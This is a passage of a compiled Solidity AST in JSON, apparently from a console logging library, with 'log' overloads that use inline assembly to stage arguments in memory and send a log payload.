196"}],"id":37807,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"123866:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37810,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"123866:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37811,"nodeType":"ExpressionStatement","src":"123866:27:22"},{"AST":{"nativeSrc":"123912:214:22","nodeType":"YulBlock","src":"123912:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"123933:4:22","nodeType":"YulLiteral","src":"123933:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"123939:2:22","nodeType":"YulIdentifier","src":"123939:2:22"}],"functionName":{"name":"mstore","nativeSrc":"123926:6:22","nodeType":"YulIdentifier","src":"123926:6:22"},"nativeSrc":"123926:16:22","nodeType":"YulFunctionCall","src":"123926:16:22"},"nativeSrc":"123926:16:22","nodeType":"YulExpressionStatement","src":"123926:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"123962:4:22","nodeType":"YulLiteral","src":"123962:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"123968:2:22","nodeType":"YulIdentifier","src":"123968:2:22"}],"functionName":{"name":"mstore","nativeSrc":"123955:6:22","nodeType":"YulIdentifier","src":"123955:6:22"},"nativeSrc":"123955:16:22","nodeType":"YulFunctionCall","src":"123955:16:22"},"nativeSrc":"123955:16:22","nodeType":"YulExpressionStatement","src":"123955:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"123991:4:22","nodeType":"YulLiteral","src":"123991:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"123997:2:22","nodeType":"YulIdentifier","src":"123997:2:22"}],"functionName":{"name":"mstore","nativeSrc":"123984:6:22","nodeType":"YulIdentifier","src":"123984:6:22"},"nativeSrc":"123984:16:22","nodeType":"YulFunctionCall","src":"123984:16:22"},"nativeSrc":"123984:16:22","nodeType":"YulExpressionStatement","src":"123984:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"124020:4:22","nodeType":"YulLiteral","src":"124020:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"124026:2:22","nodeType":"YulIdentifier","src":"124026:2:22"}],"functionName":{"name":"mstore","nativeSrc":"124013:6:22","nodeType":"YulIdentifier","src":"124013:6:22"},"nativeSrc":"124013:16:22","nodeType":"YulFunctionCall","src":"124013:16:22"},"nativeSrc":"124013:16:22","nodeType":"YulExpressionStatement","src":"124013:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"124049:4:22","nodeType":"YulLiteral","src":"124049:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"124055:2:22","nodeType":"YulIdentifier","src":"124055:2:22"}],"functionName":{"name":"mstore","nativeSrc":"124042:6:22","nodeType":"YulIdentifier","src":"124042:6:22"},"nativeSrc":"124042:16:22","nodeType":"YulFunctionCall","src":"124042:16:22"},"nativeSrc":"124042:16:22","nodeType":"YulExpressionStatement","src":"124042:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"124078:4:22","nodeType":"YulLiteral","src":"124078:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"124084:2:22","nodeType":"YulIdentifier","src":"124084:2:22"}],"functionName":{"name":"mstore","nativeSrc":"124071:6:22","nodeType":"YulIdentifier","src":"124071:6:22"},"nativeSrc":"124071:16:22","nodeType":"YulFunctionCall","src":"124071:16:22"},"nativeSrc":"124071:16:22","nodeType":"YulExpressionStatement","src":"124071:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"124107:4:22","nodeType":"YulLiteral","src":"124107:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"124113:2:22","nodeType":"YulIdentifier","src":"124113:2:22"}],"functionName":{"name":"mstore","nativeSrc":"124100:6:22","nodeType":"YulIdentifier","src":"124100:6:22"},"nativeSrc":"124100:16:22","nodeType":"YulFunctionCall","src":"124100:16:22"},"nativeSrc":"124100:16:22","nodeType":"YulExpressionStatement","src":"124100:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37786,"isOffset":false,"isSlot":false,"src":"123939:2:22","valueSize":1},{"declaration":37789,"isOffset":false,"isSlot":false,"src":"123968:2:22","valueSize":1},{"declaration":37792,"isOffset":false,"isSlot":false,"src":"123997:2:22","valueSize":1},{"declaration":37795,"isOffset":false,"isSlot":false,"src":"124026:2:22","valueSize":1},{"declaration":37798,"isOffset":false,"isSlot":false,"src":"124055:2:22","valueSize":1},{"declaration":37801,"isOffset":false,"isSlot":false,"src":"124084:2:22","valueSize":1},{"declaration":37804,"isOffset":false,"isSlot":false,"src":"124113:2:22","valueSize":1}],"id":37812,"nodeType":"InlineAssembly","src":"123903:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"122807:3:22","parameters":{"id":37783,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37776,"mutability":"mutable","name":"p0","nameLocation":"122819:2:22","nodeType":"VariableDeclaration","scope":37814,"src":"122811:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37775,"name":"address","nodeType":"ElementaryTypeName","src":"122811:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37778,"mutability":"mutable","name":"p1","nameLocation":"122831:2:22","nodeType":"VariableDeclaration","scope":37814,"src":"122823:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37777,"name":"uint256","nodeType":"ElementaryTypeName","src":"122823:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":37780,"mutability":"mutable","name":"p2","nameLocation":"122840:2:22","nodeType":"VariableDeclaration","scope":37814,"src":"122835:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37779,"name":"bool","nodeType":"ElementaryTypeName","src":"122835:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":37782,"mutability":"mutable","name":"p3","nameLocation":"122852:2:22","nodeType":"VariableDeclaration","scope":37814,"src":"122844:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37781,"name":"bytes32","nodeType":"ElementaryTypeName","src":"122844:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"122810:45:22"},"returnParameters":{"id":37784,"nodeType":"ParameterList","parameters":[],"src":"122870:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37848,"nodeType":"FunctionDefinition","src":"124138:792:22","nodes":[],"body":{"id":37847,"nodeType":"Block","src":"124213:717:22","nodes":[],"statements":[{"assignments":[37826],"declarations":[{"constant":false,"id":37826,"mutability":"mutable","name":"m0","nameLocation":"124231:2:22","nodeType":"VariableDeclaration","scope":37847,"src":"124223:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37825,"name":"bytes32","nodeType":"ElementaryTypeName","src":"124223:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37827,"nodeType":"VariableDeclarationStatement","src":"124223:10:22"},{"assignments":[37829],"declarations":[{"constant":false,"id":37829,"mutability":"mutable","name":"m1","nameLocation":"124251:2:22","nodeType":"VariableDeclaration","scope":37847,"src":"124243:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37828,"name":"bytes32","nodeType":"ElementaryTypeName","src":"124243:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37830,"nodeType":"VariableDeclarationStatement","src":"124243:10:22"},{"assignments":[37832],"declarations":[{"constant":false,"id":37832,"mutability":"mutable","name":"m2","nameLocation":"124271:2:22","nodeType":"VariableDeclaration","scope":37847,"src":"124263:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37831,"name":"bytes32","nodeType":"ElementaryTypeName","src":"124263:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37833,"nodeType":"VariableDeclarationStatement","src":"124263:10:22"},{"assignments":[37835],"declarations":[{"constant":false,"id":37835,"mutability":"mutable","name":"m3","nameLocation":"124291:2:22","nodeType":"VariableDeclaration","scope":37847,"src":"124283:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37834,"name":"bytes32","nodeType":"ElementaryTypeName","src":"124283:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37836,"nodeType":"VariableDeclarationStatement","src":"124283:10:22"},{"assignments":[37838],"declarations":[{"constant":false,"id":37838,"mutability":"mutable","name":"m4","nameLocation":"124311:2:22","nodeType":"VariableDeclaration","scope":37847,"src":"124303:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37837,"name":"bytes32","nodeType":"ElementaryTypeName","src":"124303:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37839,"nodeType":"VariableDeclarationStatement","src":"124303:10:22"},{"AST":{"nativeSrc":"124332:381:22","nodeType":"YulBlock","src":"124332:381:22","statements":[{"nativeSrc":"124346:17:22","nodeType":"YulAssignment","src":"124346:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"124358:4:22","nodeType":"YulLiteral","src":"124358:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"124352:5:22","nodeType":"YulIdentifier","src":"124352:5:22"},"nativeSrc":"124352:11:22","nodeType":"YulFunctionCall","src":"124352:11:22"},"variableNames":[{"name":"m0","nativeSrc":"124346:2:22","nodeType":"YulIdentifier","src":"124346:2:22"}]},{"nativeSrc":"124376:17:22","nodeType":"YulAssignment","src":"124376:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"124388:4:22","nodeType":"YulLiteral","src":"124388:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"124382:5:22","nodeType":"YulIdentifier","src":"124382:5:22"},"nativeSrc":"124382:11:22","nodeType":"YulFunctionCall","src":"124382:11:22"},"variableNames":[{"name":"m1","nativeSrc":"124376:2:22","nodeType":"YulIdentifier","src":"124376:2:22"}]},{"nativeSrc":"124406:17:22","nodeType":"YulAssignment","src":"124406:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"124418:4:22","nodeType":"YulLiteral","src":"124418:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"124412:5:22","nodeType":"YulIdentifier","src":"124412:5:22"},"nativeSrc":"124412:11:22","nodeType":"YulFunctionCall","src":"124412:11:22"},"variableNames":[{"name":"m2","nativeSrc":"124406:2:22","nodeType":"YulIdentifier","src":"124406:2:22"}]},{"nativeSrc":"124436:17:22","nodeType":"YulAssignment","src":"124436:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"124448:4:22","nodeType":"YulLiteral","src":"124448:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"124442:5:22","nodeType":"YulIdentifier","src":"124442:5:22"},"nativeSrc":"124442:11:22","nodeType":"YulFunctionCall","src":"124442:11:22"},"variableNames":[{"name":"m3","nativeSrc":"124436:2:22","nodeType":"YulIdentifier","src":"124436:2:22"}]},{"nativeSrc":"124466:17:22","nodeType":"YulAssignment","src":"124466:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"124478:4:22","nodeType":"YulLiteral","src":"124478:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"124472:5:22","nodeType":"YulIdentifier","src":"124472:5:22"},"nativeSrc":"124472:11:22","nodeType":"YulFunctionCall","src":"124472:11:22"},"variableNames":[{"name":"m4","nativeSrc":"124466:2:22","nodeType":"YulIdentifier","src":"124466:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"124570:4:22","nodeType":"YulLiteral","src":"124570:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"124576:10:22","nodeType":"YulLiteral","src":"124576:10:22","type":"","value":"0x20e3984d"}],"functionName":{"name":"mstore","nativeSrc":"124563:6:22","nodeType":"YulIdentifier","src":"124563:6:22"},"nativeSrc":"124563:24:22","nodeType":"YulFunctionCall","src":"124563:24:22"},"nativeSrc":"124563:24:22","nodeType":"YulExpressionStatement","src":"124563:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"124607:4:22","nodeType":"YulLiteral","src":"124607:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"124613:2:22","nodeType":"YulIdentifier","src":"124613:2:22"}],"functionName":{"name":"mstore","nativeSrc":"124600:6:22","nodeType":"YulIdentifier","src":"124600:6:22"},"nativeSrc":"124600:16:22","nodeType":"YulFunctionCall","src":"124600:16:22"},"nativeSrc":"124600:16:22","nodeType":"YulExpressionStatement","src":"124600:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"124636:4:22","nodeType":"YulLiteral","src":"124636:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"124642:2:22","nodeType":"YulIdentifier","src":"124642:2:22"}],"functionName":{"name":"mstore","nativeSrc":"124629:6:22","nodeType":"YulIdentifier","src":"124629:6:22"},"nativeSrc":"124629:16:22","nodeType":"YulFunctionCall","src":"124629:16:22"},"nativeSrc":"124629:16:22","nodeType":"YulExpressionStatement","src":"124629:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"124665:4:22","nodeType":"YulLiteral","src":"124665:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"124671:2:22","nodeType":"YulIdentifier","src":"124671:2:22"}],"functionName":{"name":"mstore","nativeSrc":"124658:6:22","nodeType":"YulIdentifier","src":"124658:6:22"},"nativeSrc":"124658:16:22","nodeType":"YulFunctionCall","src":"124658:16:22"},"nativeSrc":"124658:16:22","nodeType":"YulExpressionStatement","src":"124658:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"124694:4:22","nodeType":"YulLiteral","src":"124694:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"124700:2:22","nodeType":"YulIdentifier","src":"124700:2:22"}],"functionName":{"name":"mstore","nativeSrc":"124687:6:22","nodeType":"YulIdentifier","src":"124687:6:22"},"nativeSrc":"124687:16:22","nodeType":"YulFunctionCall","src":"124687:16:22"},"nativeSrc":"124687:16:22","nodeType":"YulExpressionStatement","src":"124687:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37826,"isOffset":false,"isSlot":false,"src":"124346:2:22","valueSize":1},{"declaration":37829,"isOffset":false,"isSlot":false,"src":"124376:2:22","valueSize":1},{"declaration":37832,"isOffset":false,"isSlot":false,"src":"124406:2:22","valueSize":1},{"declaration":37835,"isOffset":false,"isSlot":false,"src":"124436:2:22","valueSize":1},{"declaration":37838,"isOffset":false,"isSlot":false,"src":"124466:2:22","valueSize":1},{"declaration":37816,"isOffset":false,"isSlot":false,"src":"124613:2:22","valueSize":1},{"declaration":37818,"isOffset":false,"isSlot":false,"src":"124642:2:22","valueSize":1},{"declaration":37820,"isOffset":false,"isSlot":false,"src":"124671:2:22","valueSize":1},{"declaration":37822,"isOffset":false,"isSlot":false,"src":"124700:2:22","valueSize":1}],"id":37840,"nodeType":"InlineAssembly","src":"124323:390:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37842,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"124738:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":37843,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"124744:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":37841,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"124722:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37844,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"124722:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37845,"nodeType":"ExpressionStatement","src":"124722:27:22"},{"AST":{"nativeSrc":"124768:156:22","nodeType":"YulBlock","src":"124768:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"124789:4:22","nodeType":"YulLiteral","src":"124789:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"124795:2:22","nodeType":"YulIdentifier","src":"124795:2:22"}],"functionName":{"name":"mstore","nativeSrc":"124782:6:22","nodeType":"YulIdentifier","src":"124782:6:22"},"nativeSrc":"124782:16:22","nodeType":"YulFunctionCall","src":"124782:16:22"},"nativeSrc":"124782:16:22","nodeType":"YulExpressionStatement","src":"124782:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"124818:4:22","nodeType":"YulLiteral","src":"124818:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"124824:2:22","nodeType":"YulIdentifier","src":"124824:2:22"}],"functionName":{"name":"mstore","nativeSrc":"124811:6:22","nodeType":"YulIdentifier","src":"124811:6:22"},"nativeSrc":"124811:16:22","nodeType":"YulFunctionCall","src":"124811:16:22"},"nativeSrc":"124811:16:22","nodeType":"YulExpressionStatement","src":"124811:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"124847:4:22","nodeType":"YulLiteral","src":"124847:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"124853:2:22","nodeType":"YulIdentifier","src":"124853:2:22"}],"functionName":{"name":"mstore","nativeSrc":"124840:6:22","nodeType":"YulIdentifier","src":"124840:6:22"},"nativeSrc":"124840:16:22","nodeType":"YulFunctionCall","src":"124840:16:22"},"nativeSrc":"124840:16:22","nodeType":"YulExpressionStatement","src":"124840:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"124876:4:22","nodeType":"YulLiteral","src":"124876:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"124882:2:22","nodeType":"YulIdentifier","src":"124882:2:22"}],"functionName":{"name":"mstore","nativeSrc":"124869:6:22","nodeType":"YulIdentifier","src":"124869:6:22"},"nativeSrc":"124869:16:22","nodeType":"YulFunctionCall","src":"124869:16:22"},"nativeSrc":"124869:16:22","nodeType":"YulExpressionStatement","src":"124869:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"124905:4:22","nodeType":"YulLiteral","src":"124905:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"124911:2:22","nodeType":"YulIdentifier","src":"124911:2:22"}],"functionName":{"name":"mstore","nativeSrc":"124898:6:22","nodeType":"YulIdentifier","src":"124898:6:22"},"nativeSrc":"124898:16:22","nodeType":"YulFunctionCall","src":"124898:16:22"},"nativeSrc":"124898:16:22","nodeType":"YulExpressionStatement","src":"124898:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37826,"isOffset":false,"isSlot":false,"src":"124795:2:22","valueSize":1},{"declaration":37829,"isOffset":false,"isSlot":false,"src":"124824:2:22","valueSize":1},{"declaration":37832,"isOffset":false,"isSlot":false,"src":"124853:2:22","valueSize":1},{"declaration":37835,"isOffset":false,"isSlot":false,"src":"124882:2:22","valueSize":1},{"declaration":37838,"isOffset":false,"isSlot":false,"src":"124911:2:22","valueSize":1}],"id":37846,"nodeType":"InlineAssembly","src":"124759:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"124147:3:22","parameters":{"id":37823,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37816,"mutability":"mutable","name":"p0","nameLocation":"124159:2:22","nodeType":"VariableDeclaration","scope":37848,"src":"124151:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37815,"name":"address","nodeType":"ElementaryTypeName","src":"124151:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37818,"mutability":"mutable","name":"p1","nameLocation":"124171:2:22","nodeType":"VariableDeclaration","scope":37848,"src":"124163:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37817,"name":"uint256","nodeType":"ElementaryTypeName","src":"124163:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":37820,"mutability":"mutable","name":"p2","nameLocation":"124183:2:22","nodeType":"VariableDeclaration","scope":37848,"src":"124175:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37819,"name":"uint256","nodeType":"ElementaryTypeName","src":"124175:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":37822,"mutability":"mutable","name":"p3","nameLocation":"124195:2:22","nodeType":"VariableDeclaration","scope":37848,"src":"124187:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37821,"name":"address","nodeType":"ElementaryTypeName","src":"124187:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"124150:48:22"},"returnParameters":{"id":37824,"nodeType":"ParameterList","parameters":[],"src":"124213:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37882,"nodeType":"FunctionDefinition","src":"124936:786:22","nodes":[],"body":{"id":37881,"nodeType":"Block","src":"125008:714:22","nodes":[],"statements":[{"assignments":[37860],"declarations":[{"constant":false,"id":37860,"mutability":"mutable","name":"m0","nameLocation":"125026:2:22","nodeType":"VariableDeclaration","scope":37881,"src":"125018:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37859,"name":"bytes32","nodeType":"ElementaryTypeName","src":"125018:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37861,"nodeType":"VariableDeclarationStatement","src":"125018:10:22"},{"assignments":[37863],"declarations":[{"constant":false,"id":37863,"mutability":"mutable","name":"m1","nameLocation":"125046:2:22","nodeType":"VariableDeclaration","scope":37881,"src":"125038:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37862,"name":"bytes32","nodeType":"ElementaryTypeName","src":"125038:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37864,"nodeType":"VariableDeclarationStatement","src":"125038:10:22"},{"assignments":[37866],"declarations":[{"constant":false,"id":37866,"mutability":"mutable","name":"m2","nameLocation":"125066:2:22","nodeType":"VariableDeclaration","scope":37881,"src":"125058:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37865,"name":"bytes32","nodeType":"ElementaryTypeName","src":"125058:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37867,"nodeType":"VariableDeclarationStatement","src":"125058:10:22"},{"assignments":[37869],"declarations":[{"constant":false,"id":37869,"mutability":"mutable","name":"m3","nameLocation":"125086:2:22","nodeType":"VariableDeclaration","scope":37881,"src":"125078:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37868,"name":"bytes32","nodeType":"ElementaryTypeName","src":"125078:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37870,"nodeType":"VariableDeclarationStatement","src":"125078:10:22"},{"assignments":[37872],"declarations":[{"constant":false,"id":37872,"mutability":"mutable","name":"m4","nameLocation":"125106:2:22","nodeType":"VariableDeclaration","scope":37881,"src":"125098:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37871,"name":"bytes32","nodeType":"ElementaryTypeName","src":"125098:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37873,"nodeType":"VariableDeclarationStatement","src":"125098:10:22"},{"AST":{"nativeSrc":"125127:378:22","nodeType":"YulBlock","src":"125127:378:22","statements":[{"nativeSrc":"125141:17:22","nodeType":"YulAssignment","src":"125141:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"125153:4:22","nodeType":"YulLiteral","src":"125153:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"125147:5:22","nodeType":"YulIdentifier","src":"125147:5:22"},"nativeSrc":"125147:11:22","nodeType":"YulFunctionCall","src":"125147:11:22"},"variableNames":[{"name":"m0","nativeSrc":"125141:2:22","nodeType":"YulIdentifier","src":"125141:2:22"}]},{"nativeSrc":"125171:17:22","nodeType":"YulAssignment","src":"125171:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"125183:4:22","nodeType":"YulLiteral","src":"125183:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"125177:5:22","nodeType":"YulIdentifier","src":"125177:5:22"},"nativeSrc":"125177:11:22","nodeType":"YulFunctionCall","src":"125177:11:22"},"variableNames":[{"name":"m1","nativeSrc":"125171:2:22","nodeType":"YulIdentifier","src":"125171:2:22"}]},{"nativeSrc":"125201:17:22","nodeType":"YulAssignment","src":"125201:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"125213:4:22","nodeType":"YulLiteral","src":"125213:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"125207:5:22","nodeType":"YulIdentifier","src":"125207:5:22"},"nativeSrc":"125207:11:22","nodeType":"YulFunctionCall","src":"125207:11:22"},"variableNames":[{"name":"m2","nativeSrc":"125201:2:22","nodeType":"YulIdentifier","src":"125201:2:22"}]},{"nativeSrc":"125231:17:22","nodeType":"YulAssignment","src":"125231:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"125243:4:22","nodeType":"YulLiteral","src":"125243:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"125237:5:22","nodeType":"YulIdentifier","src":"125237:5:22"},"nativeSrc":"125237:11:22","nodeType":"YulFunctionCall","src":"125237:11:22"},"variableNames":[{"name":"m3","nativeSrc":"125231:2:22","nodeType":"YulIdentifier","src":"125231:2:22"}]},{"nativeSrc":"125261:17:22","nodeType":"YulAssignment","src":"125261:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"125273:4:22","nodeType":"YulLiteral","src":"125273:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"125267:5:22","nodeType":"YulIdentifier","src":"125267:5:22"},"nativeSrc":"125267:11:22","nodeType":"YulFunctionCall","src":"125267:11:22"},"variableNames":[{"name":"m4","nativeSrc":"125261:2:22","nodeType":"YulIdentifier","src":"125261:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"125362:4:22","nodeType":"YulLiteral","src":"125362:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"125368:10:22","nodeType":"YulLiteral","src":"125368:10:22","type":"","value":"0x66f1bc67"}],"functionName":{"name":"mstore","nativeSrc":"125355:6:22","nodeType":"YulIdentifier","src":"125355:6:22"},"nativeSrc":"125355:24:22","nodeType":"YulFunctionCall","src":"125355:24:22"},"nativeSrc":"125355:24:22","nodeType":"YulExpressionStatement","src":"125355:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"125399:4:22","nodeType":"YulLiteral","src":"125399:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"125405:2:22","nodeType":"YulIdentifier","src":"125405:2:22"}],"functionName":{"name":"mstore","nativeSrc":"125392:6:22","nodeType":"YulIdentifier","src":"125392:6:22"},"nativeSrc":"125392:16:22","nodeType":"YulFunctionCall","src":"125392:16:22"},"nativeSrc":"125392:16:22","nodeType":"YulExpressionStatement","src":"125392:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"125428:4:22","nodeType":"YulLiteral","src":"125428:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"125434:2:22","nodeType":"YulIdentifier","src":"125434:2:22"}],"functionName":{"name":"mstore","nativeSrc":"125421:6:22","nodeType":"YulIdentifier","src":"125421:6:22"},"nativeSrc":"125421:16:22","nodeType":"YulFunctionCall","s